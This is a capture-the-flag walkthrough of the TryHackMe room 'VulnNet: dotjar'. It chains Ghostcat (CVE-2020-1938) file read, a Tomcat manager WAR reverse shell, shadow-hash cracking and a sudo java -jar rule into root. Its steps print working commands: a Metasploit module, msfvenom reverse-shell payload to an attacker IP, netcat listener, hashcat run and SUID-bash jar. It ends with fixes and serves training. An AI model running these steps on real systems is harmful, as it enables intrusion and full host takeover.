VulnNet: dotjar
Tomcat's exposed AJP port is exploited with Ghostcat (CVE-2020-1938) to read web.xml and leak manager credentials; a WAR reverse shell gives a foothold, a world-readable shadow backup cracks to an SSH user, and sudo java -jar any jar yields a SUID-bash root.
A walkthrough of the “VulnNet: dotjar” room from TryHackMe. An Apache Tomcat with an exposed AJP connector falls to Ghostcat (CVE-2020-1938): reading web.xml leaks the manager credentials, a WAR reverse shell gets us a shell, a world-readable shadow backup cracks to an SSH user, and a _sudo java -jar _.jar* rule lets us run our own jar to SUID bash and root.
VulnNet: dotjar is an authorized training challenge on TryHackMe; everything here was performed against a legal practice target. Both flags and every recovered credential are shown as
THM{<redacted>}/<redacted>— real on the box, withheld here.
TL;DR
TL;DR
Apache Tomcat 9.0.30 with the AJP connector on 8009 → Ghostcat (CVE-2020-1938) reads /WEB-INF/web.xml, which embeds the webdev manager credentials → authenticate to /manager/text and deploy a WAR reverse shell → shell as web → linpeas finds a world-readable /var/backups/shadow-backup-alt.gz → crack jdk-admin’s SHA-512 hash (hashcat -m 1800 + rockyou) → SSH as jdk-admin (user flag) → sudo -l allows /usr/bin/java -jar *.jar as root → compile a jar that runs chmod +s /bin/bash → /bin/bash -p for root.
The target
export IP=<target-ip>
export ATTACKER_IP=<your-ip>
nmap shows SSH, the Tomcat AJP connector, and the Tomcat HTTP port:
22/tcp open ssh OpenSSH 8.2p1 Ubuntu
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8080/tcp open http Apache Tomcat 9.0.30
Tomcat 9.0.30 with an exposed AJP (8009) connector is the textbook Ghostcat setup.
The vulnerability
Ghostcat (CVE-2020-1938) abuses the AJP protocol’s trust to read — and in some configs include — files inside the web application. Here it reads WEB-INF/web.xml, which a developer stuffed with the Tomcat manager credentials. From there it’s a standard authenticated Tomcat manager RCE.
Insight
The chain hinges on two bad habits layered on the CVE: AJP exposed to the network (Ghostcat lets anyone read web.xml), and credentials hardcoded in web.xml. Ghostcat on its own is “only” file read — but when the file you can read contains the manager password, file read becomes code execution via a WAR deploy.
Step 1 — Ghostcat reads web.xml → leak manager creds
msf > use auxiliary/admin/http/tomcat_ghostcat
msf > set RHOSTS $IP # RPORT 8009, FILENAME /WEB-INF/web.xml
msf > run
# <web-app> ... developer access: webdev:<redacted> ...
Step 2 — Tomcat manager WAR deploy → reverse shell (web)
The GUI manager is blocked, but the text interface accepts the leaked credentials. Build a WAR reverse shell, deploy it, and trigger it:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=4444 -f war -o revshell.war
curl --upload-file revshell.war -H "Authorization: Basic <redacted>" \
"http://$IP:8080/manager/text/deploy?path=/revshell1"
nc -lvnp 4444
curl http://$IP:8080/revshell1/<jsp-name>.jsp # -> shell as web
Step 3 — shadow backup → crack → SSH as jdk-admin (user flag)
linpeas flags a world-readable shadow backup. Unzip it and crack a user hash:
gunzip -c /var/backups/shadow-backup-alt.gz # root/jdk-admin/web SHA-512 hashes
hashcat -m 1800 -a 0 jdk_admin_hash.txt rockyou.txt # jdk-admin : <redacted>
ssh jdk-admin@$IP
jdk-admin@...:~$ cat user.txt # THM{<redacted>}
Step 4 — sudo java -jar → SUID bash → root
jdk-admin@...:~$ sudo -l
# (root) /usr/bin/java -jar *.jar
We can run any jar as root. Compile one that SUIDs bash, then drop to a root shell:
// Main.java
Process process = Runtime.getRuntime().exec("chmod +s /bin/bash");
javac Main.java && jar cfe Main.jar Main Main.class
sudo /usr/bin/java -jar Main.jar # Success! -> /bin/bash is now SUID root
/bin/bash -p # whoami -> root
# cat /root/root.txt -> THM{<redacted>}
Impact
Critical
Critical — CVSS 3.1 ~9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). An unauthenticated attacker reads arbitrary webapp files via Ghostcat (CVE-2020-1938), recovers hardcoded Tomcat manager credentials, and deploys a WAR for remote code execution. A world-readable shadow backup and a weak password escalate to an interactive user, and an unrestricted sudo java -jar *.jar rule gives full root — complete host compromise.
Recommended fix
Fix
- Patch Tomcat (9.0.31+) and disable or firewall the AJP connector if unused; set a
requiredSecreton AJP. - Never hardcode credentials in
web.xml; use a secrets manager and rotate the exposed password. - Don’t leave shadow backups world-readable. Restrict
/var/backupsand store backups encrypted. - Fix the sudo rule.
java -jar *.jaras root is equivalent to a root shell; scope sudo to a specific, trusted jar with an absolute path, or remove it.
Takeaways
- Exposed AJP = Ghostcat. Tomcat 9.0.30 with 8009 open is an instant file-read primitive.
- File read + secrets in config = RCE. The leaked
web.xmlpassword turned Ghostcat into a manager WAR deploy. - World-readable backups are a gift. A shadow backup is a straight path to cracked logins.
sudo ... *.jaris root. Any wildcard that lets you supply the executed code is a privilege escalation.
VulnNet: dotjar is a clean CVE-to-root chain where each misconfiguration amplifies the last. Thanks for reading.